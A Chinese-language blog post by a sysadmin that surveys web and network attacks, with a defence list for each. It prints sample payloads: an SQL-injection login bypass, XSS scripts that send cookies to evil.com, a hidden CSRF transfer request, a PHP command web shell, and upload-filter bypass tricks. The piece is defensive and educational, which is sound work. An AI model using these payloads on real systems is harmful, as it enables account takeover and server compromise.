
做运维这么多年,我算是见识过各种各样的网络攻击了。从最初的懵懵懂懂被攻击搞得焦头烂额,到现在能够淡定应对各种攻击手段,这中间踩过的坑真的是数不胜数。
前几天有个粉丝朋友问我,现在网络攻击都有哪些类型,怎么防护?我想了想,确实有必要系统地梳理一下这些年遇到过的各种攻击手段。毕竟知己知彼,才能百战不殆嘛。
今天就跟大家聊聊我这些年见过的各种网络攻击,从技术原理到防护方法,希望能帮到正在被攻击困扰的兄弟们。
说到网络攻击,SQL注入绝对是我遇到最多的一种。这玩意儿简直就是Web应用的头号杀手。

SQL注入的原理其实不复杂,就是利用应用程序对用户输入过滤不严,在数据库查询中插入恶意SQL代码。
我记得刚工作那会儿,维护过一个老系统,登录页面的代码是这样写的:
SELECT * FROM users WHERE username='$username' AND password='$password'看起来没问题对吧?但如果用户在用户名框里输入:admin' OR '1'='1' --
那么实际执行的SQL就变成了:
SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='xxx'由于'1'='1'永远为真,而--会注释掉后面的密码验证,攻击者就能直接以admin身份登录了。
这些年我见过的SQL注入攻击大概有这几种:
联合查询注入:通过UNION语句获取其他表的数据。我处理过一个案例,攻击者通过这种方式把整个用户表都下载走了,包括密码哈希。
布尔盲注:通过构造真假条件来逐个猜测数据库内容。这种攻击比较隐蔽,日志里看起来都是正常请求,但实际上在一点点窃取数据。
时间盲注:利用数据库的延时函数,通过响应时间来判断条件真假。我见过攻击者用这种方法花了几个小时把管理员密码给猜出来的。
报错注入:故意触发数据库错误,从错误信息中获取敏感数据。有些开发为了调试方便,会把详细的错误信息显示给用户,这就给了攻击者可乘之机。
防护SQL注入其实也不难,关键是要养成好习惯:
参数化查询:这是最有效的防护方法。使用预编译语句,把SQL代码和数据分离。现在主流的开发框架都支持这个功能。
输入验证:对所有用户输入进行严格验证,过滤掉危险字符。不过这个方法容易被绕过,不能作为唯一的防护手段。
最小权限原则:数据库用户只给必要的权限,不要用root或sa这种超级用户来连接数据库。
WAF防护:部署Web应用防火墙,可以识别和阻断大部分SQL注入攻击。
我现在维护的系统都强制使用ORM框架,基本杜绝了SQL注入的可能性。虽然性能会有一点影响,但安全性大大提升了。
跨站脚本攻击(XSS)是另一个让我头疼的问题,特别是在处理用户生成内容的网站时。

XSS攻击的核心是在网页中插入恶意脚本,当其他用户访问时,这些脚本就会在他们的浏览器中执行。
我印象最深的一次XSS攻击发生在一个论坛网站。攻击者在帖子里插入了这样的代码:
<script>
document.location='http://evil.com/steal.php?cookie='+document.cookie;
</script>结果所有查看这个帖子的用户,他们的Cookie都被发送到了攻击者的服务器上。攻击者拿到Cookie后,就能冒充这些用户登录网站了。
根据我的经验,XSS攻击主要分为三种:
反射型XSS:恶意脚本通过URL参数传递,服务器直接把参数内容输出到页面上。这种攻击需要诱骗用户点击特制的链接。
存储型XSS:恶意脚本被保存在服务器上(比如数据库),每次有用户访问相关页面时都会执行。这种危害最大,因为影响面广。
DOM型XSS:攻击发生在客户端,通过修改页面的DOM结构来执行恶意脚本。这种攻击比较隐蔽,服务器端很难检测到。
我处理过一个比较典型的存储型XSS案例。那是一个电商网站的商品评论功能,攻击者在评论中插入了恶意脚本:
<img src="x" onerror="var img=new Image();img.src='http://evil.com/log.php?data='+btoa(document.cookie);">这段代码看起来像是一个破损的图片,但实际上会执行JavaScript代码,把用户的Cookie编码后发送给攻击者。
更可怕的是,攻击者还在脚本中加入了蠕虫功能,被感染的用户会自动发布包含恶意脚本的评论,导致攻击快速传播。
防护XSS攻击需要多管齐下:
输出编码:对所有输出到HTML页面的内容进行编码,把<、>、"等特殊字符转换成HTML实体。
输入过滤:对用户输入进行过滤,移除或转义危险的HTML标签和JavaScript代码。
CSP策略:配置内容安全策略(Content Security Policy),限制页面可以加载的资源来源。
HttpOnly Cookie:设置Cookie的HttpOnly属性,防止JavaScript访问Cookie。
我现在管理的网站都部署了严格的XSS防护策略,用户输入的任何内容都会经过多层过滤和编码。虽然偶尔会误杀一些正常内容,但总比被攻击强。
跨站请求伪造(CSRF)是一种比较隐蔽的攻击方式,很多开发者都容易忽视这个问题。

CSRF攻击利用用户已经登录的身份,诱骗用户在不知情的情况下执行某些操作。
我遇到过一个经典的CSRF攻击案例。攻击者制作了一个看似无害的网页,里面包含了这样的代码:
<img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">当已经登录网银的用户访问这个页面时,浏览器会自动发送转账请求,而银行服务器看到的是一个"正常"的已认证用户发起的请求。
CSRF攻击在以下场景特别危险:
金融操作:转账、支付、修改密码等敏感操作 账户管理:修改个人信息、删除数据等 社交功能:发帖、评论、关注等操作
我见过最狠的一次CSRF攻击,攻击者通过邮件发送了一个"中奖通知"页面,里面暗藏了修改用户邮箱地址的请求。很多用户在不知情的情况下把邮箱改成了攻击者的,然后攻击者就能通过"忘记密码"功能重置用户密码了。
防护CSRF攻击有几种有效方法:
CSRF Token:在表单中加入随机生成的token,服务器验证token的有效性。这是最常用也是最有效的方法。
验证Referer:检查请求的来源页面,拒绝来自外部网站的请求。不过这个方法不够可靠,因为Referer可能被伪造或者被代理服务器过滤掉。
双重Cookie验证:在Cookie和请求参数中都包含相同的随机值,服务器验证两者是否一致。
验证码:对于敏感操作,要求用户输入验证码。这个方法最安全,但用户体验不好。
我现在负责的系统对所有状态改变的操作都使用了CSRF Token保护,同时对转账、修改密码等高风险操作还加了短信验证码。
文件上传功能几乎每个网站都有,但如果处理不当,就可能成为攻击者的突破口。

文件上传漏洞的核心是攻击者上传恶意文件到服务器,然后通过访问这些文件来执行恶意代码。
我处理过一个典型的案例,网站有个头像上传功能,只是简单地检查了文件扩展名。攻击者上传了一个名为avatar.php的文件,内容是:
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>然后通过访问http://website.com/uploads/avatar.php?cmd=ls就能执行系统命令了。更可怕的是,攻击者还能通过这个后门上传更多的恶意文件,完全控制服务器。
攻击者为了绕过文件上传限制,会使用各种技巧:
双重扩展名:上传shell.php.jpg这样的文件,某些服务器配置下会按照.php来解析。
大小写绕过:上传shell.PHP或shell.Php,利用大小写不敏感的特性。
空字节截断:在文件名中插入空字节,如shell.php%00.jpg,某些语言会在空字节处截断文件名。
MIME类型伪造:修改HTTP请求中的Content-Type,让恶意文件看起来像图片。
文件内容伪造:在PHP代码前面加上GIF文件头,绕过文件内容检测。
防护文件上传漏洞需要多层验证:
白名单验证:只允许特定类型的文件上传,比如只允许jpg、png、gif等图片格式。
文件内容检测:不仅检查扩展名,还要检查文件的实际内容和文件头。
重命名文件:上传后重新命名文件,使用随机生成的文件名,避免攻击者直接访问。
隔离执行:把上传的文件存储在无法执行脚本的目录中,或者使用独立的文件服务器。
大小限制:限制上传文件的大小,防止攻击者上传大文件消耗服务器资源。
我现在管理的系统对所有上传文件都会进行病毒扫描,同时使用云存储服务来隔离文件,基本杜绝了通过文件上传攻击服务器的可能性。
虽然暴力破解听起来很原始,但在实际攻击中仍然非常常见和有效。
暴力破解主要有几种形式:
密码暴力破解:使用字典或者穷举法尝试各种密码组合。我见过攻击者用常见密码字典攻击SSH服务,成功率还挺高的。
验证码暴力破解:对于数字验证码,攻击者可能会尝试所有可能的组合。
API接口暴力破解:针对登录接口、重置密码接口等进行大量尝试。
我印象最深的一次暴力破解攻击发生在一个企业内网。攻击者通过某种方式获得了内网访问权限,然后对所有服务器的SSH端口进行暴力破解。
那次攻击持续了好几天,攻击者使用了一个包含几万个常见密码的字典,对每台服务器都尝试了admin、root、test等常见用户名。最终成功破解了几台使用弱密码的服务器。
更可怕的是,攻击者还会根据企业信息定制密码字典,比如使用公司名称、员工姓名、重要日期等作为密码尝试。这种针对性的攻击成功率往往更高。
我还遇到过一种比较狡猾的暴力破解方式,攻击者会先收集目标网站的用户名列表,然后使用分布式的方式进行攻击。每个IP只尝试少量密码,避免触发账户锁定机制,但整体攻击规模很大。
防护暴力破解有很多成熟的方法:
账户锁定策略:连续失败几次后锁定账户一段时间。不过要注意设置合理的锁定时间,避免被攻击者利用来进行拒绝服务攻击。
验证码机制:在登录页面加入图形验证码或者滑动验证码,增加自动化攻击的成本。
IP限制:限制单个IP的登录尝试频率,超过阈值就临时封禁。我一般设置为每分钟最多5次尝试。
强密码策略:强制用户使用复杂密码,包含大小写字母、数字和特殊字符。
双因素认证:即使密码被破解,攻击者也需要第二个认证因子才能登录。
我现在管理的所有系统都部署了fail2ban,会自动分析日志文件,发现暴力破解行为就立即封禁攻击IP。效果还不错,基本上能阻止90%以上的暴力破解攻击。
钓鱼攻击虽然技术含量不高,但在实际攻击中的成功率却很高,因为它直接针对人性的弱点。
钓鱼攻击的形式多种多样:
邮件钓鱼:伪造银行、电商平台等官方邮件,诱导用户点击恶意链接。
短信钓鱼:通过短信发送虚假中奖、账户异常等信息。
网站钓鱼:制作高仿真的假网站,骗取用户账号密码。
社交媒体钓鱼:在微信、QQ等平台上冒充熟人进行诈骗。
我处理过一个比较典型的钓鱼攻击事件。攻击者注册了一个和某知名银行非常相似的域名,比如把icbc.com.cn改成icbc-online.com,然后完全仿制了银行的官方网站。
攻击者通过邮件群发"安全升级通知",声称用户需要重新验证身份信息,否则账户会被冻结。邮件制作得非常精美,包含了银行的logo、官方语调,甚至连邮件签名都一模一样。
很多用户没有仔细看域名就点击了链接,在假网站上输入了银行卡号、密码、手机验证码等信息。更狡猾的是,假网站在收集完信息后还会跳转到真正的银行网站,让用户以为只是网络延迟,不会产生怀疑。
我还见过针对企业的定向钓鱼攻击。攻击者会先收集企业员工的邮箱地址和社交信息,然后冒充CEO或者HR发送邮件,要求员工提供某些敏感信息或者点击恶意链接。这种攻击的成功率特别高,因为员工很难怀疑"领导"的邮件。
识别钓鱼攻击有几个关键点:
仔细检查域名:正规网站的域名都是固定的,要注意拼写错误或者多余字符。
查看SSL证书:点击浏览器地址栏的锁图标,查看证书信息。
验证发送者身份:对于可疑邮件,可以通过其他渠道联系发送方确认。
不要点击邮件中的链接:对于敏感操作,最好直接在浏览器中输入官方网址。
防护钓鱼攻击主要靠提高安全意识:
员工培训:定期进行安全意识培训,让大家了解钓鱼攻击的常见套路。
邮件安全网关:部署邮件过滤系统,自动识别和拦截钓鱼邮件。
DNS防护:使用安全DNS服务,阻止访问已知的钓鱼网站。
多因素认证:即使密码被盗,攻击者也难以完成登录。
我们公司现在每个季度都会进行钓鱼攻击演练,给员工发送模拟的钓鱼邮件,测试大家的安全意识。刚开始点击率有30%多,现在已经降到5%以下了。
中间人攻击(MITM)是一种比较高级的攻击手法,攻击者悄悄插入到通信双方之间,窃听甚至篡改通信内容。
中间人攻击的核心是让攻击者成为通信链路中的一环:
ARP欺骗:在局域网中伪造ARP响应,让数据包经过攻击者的机器。
DNS劫持:篡改DNS响应,让用户访问攻击者控制的服务器。
恶意WiFi热点:搭建假的WiFi热点,诱导用户连接。
SSL剥离:强制用户使用HTTP连接,去除加密保护。
我遇到过一个在咖啡厅发生的中间人攻击。攻击者搭建了一个名为"Free_WiFi"的热点,信号很强,很多顾客都连接了这个网络。
攻击者在这个网络中部署了中间人攻击工具,能够看到所有用户的网络流量。对于使用HTTP的网站,攻击者甚至能看到用户输入的账号密码。更可怕的是,攻击者还会在用户访问的网页中注入广告或者恶意脚本。
我还处理过一个企业内网的ARP欺骗案例。攻击者首先通过钓鱼邮件感染了一台内网机器,然后利用这台机器对整个网段进行ARP欺骗,窃听其他机器的网络通信。通过这种方式,攻击者获得了大量内部邮件和文档。
防护中间人攻击需要从多个层面入手:
使用HTTPS:确保敏感通信都使用SSL/TLS加密,即使被窃听也无法解密内容。
证书验证:不要忽略浏览器的证书警告,遇到证书异常要格外小心。
VPN保护:在不可信网络中使用VPN,为通信增加一层加密保护。
网络监控:部署网络监控工具,及时发现ARP欺骗等异常行为。
静态ARP绑定:在关键服务器上配置静态ARP表,防止ARP欺骗。
我现在出差时从来不连接公共WiFi进行敏感操作,都是用手机热点或者公司VPN。虽然流量费贵一点,但安全性大大提升了。
内网渗透是APT攻击的典型手法,攻击者通过各种方式获得内网立足点后,逐步扩大攻击范围。
典型的内网渗透包括几个阶段:
初始入侵:通过钓鱼邮件、漏洞利用等方式获得第一个立足点。
信息收集:扫描内网结构,收集用户信息、系统配置等。
权限提升:利用系统漏洞或配置错误获得更高权限。
横向移动:在内网中寻找其他可攻击目标,扩大控制范围。
持久化:建立多个持久访问通道,确保不被轻易清除。
目标达成:窃取敏感数据或进行其他恶意活动。
内网渗透中经常用到的技术:
凭据窃取:从内存、注册表、浏览器等位置窃取用户凭据。
Pass-the-Hash:使用窃取的密码哈希直接进行身份认证。
Kerberos攻击:利用域认证协议的设计缺陷,比如黄金票据攻击。
WMI滥用:使用Windows管理工具进行远程命令执行。
PowerShell攻击:利用系统自带工具进行无文件攻击,难以被检测。
云计算普及带来便利,也带来了新的安全挑战。
云环境面临的威胁包括:
配置错误:云服务配置不当导致数据泄露,这是最常见的问题。
身份管理:云环境下的认证和权限管理更复杂。
数据泄露:云存储中的敏感数据可能被未授权访问。
API安全:云服务API的漏洞可能被利用。
供应链风险:云服务商的问题可能影响所有用户。
我见过很多因为云存储配置错误导致的数据泄露,比如把AWS S3设置为公开访问,结果用户信息全部泄露。
云安全防护需要:
正确配置:仔细配置云服务安全设置。
访问控制:实施严格的身份认证和权限控制。
数据加密:对云端敏感数据进行加密。
持续监控:实时监控云环境安全状态。
合规管理:确保符合相关法规要求。
网络安全是一个持续对抗的过程,攻击手段在不断演进,防护技术也要跟上节奏。作为运维人员,我们需要保持学习的心态,及时了解新的威胁和防护方法。
最重要的是要建立安全意识,很多攻击其实都是可以预防的,关键在于是否重视和是否采取了正确的防护措施。希望这篇文章能帮助大家更好地了解网络攻击,做好安全防护工作。
网络安全没有银弹,需要我们持续投入和改进。只有这样,才能在这个充满威胁的数字世界中保护好我们的系统和数据。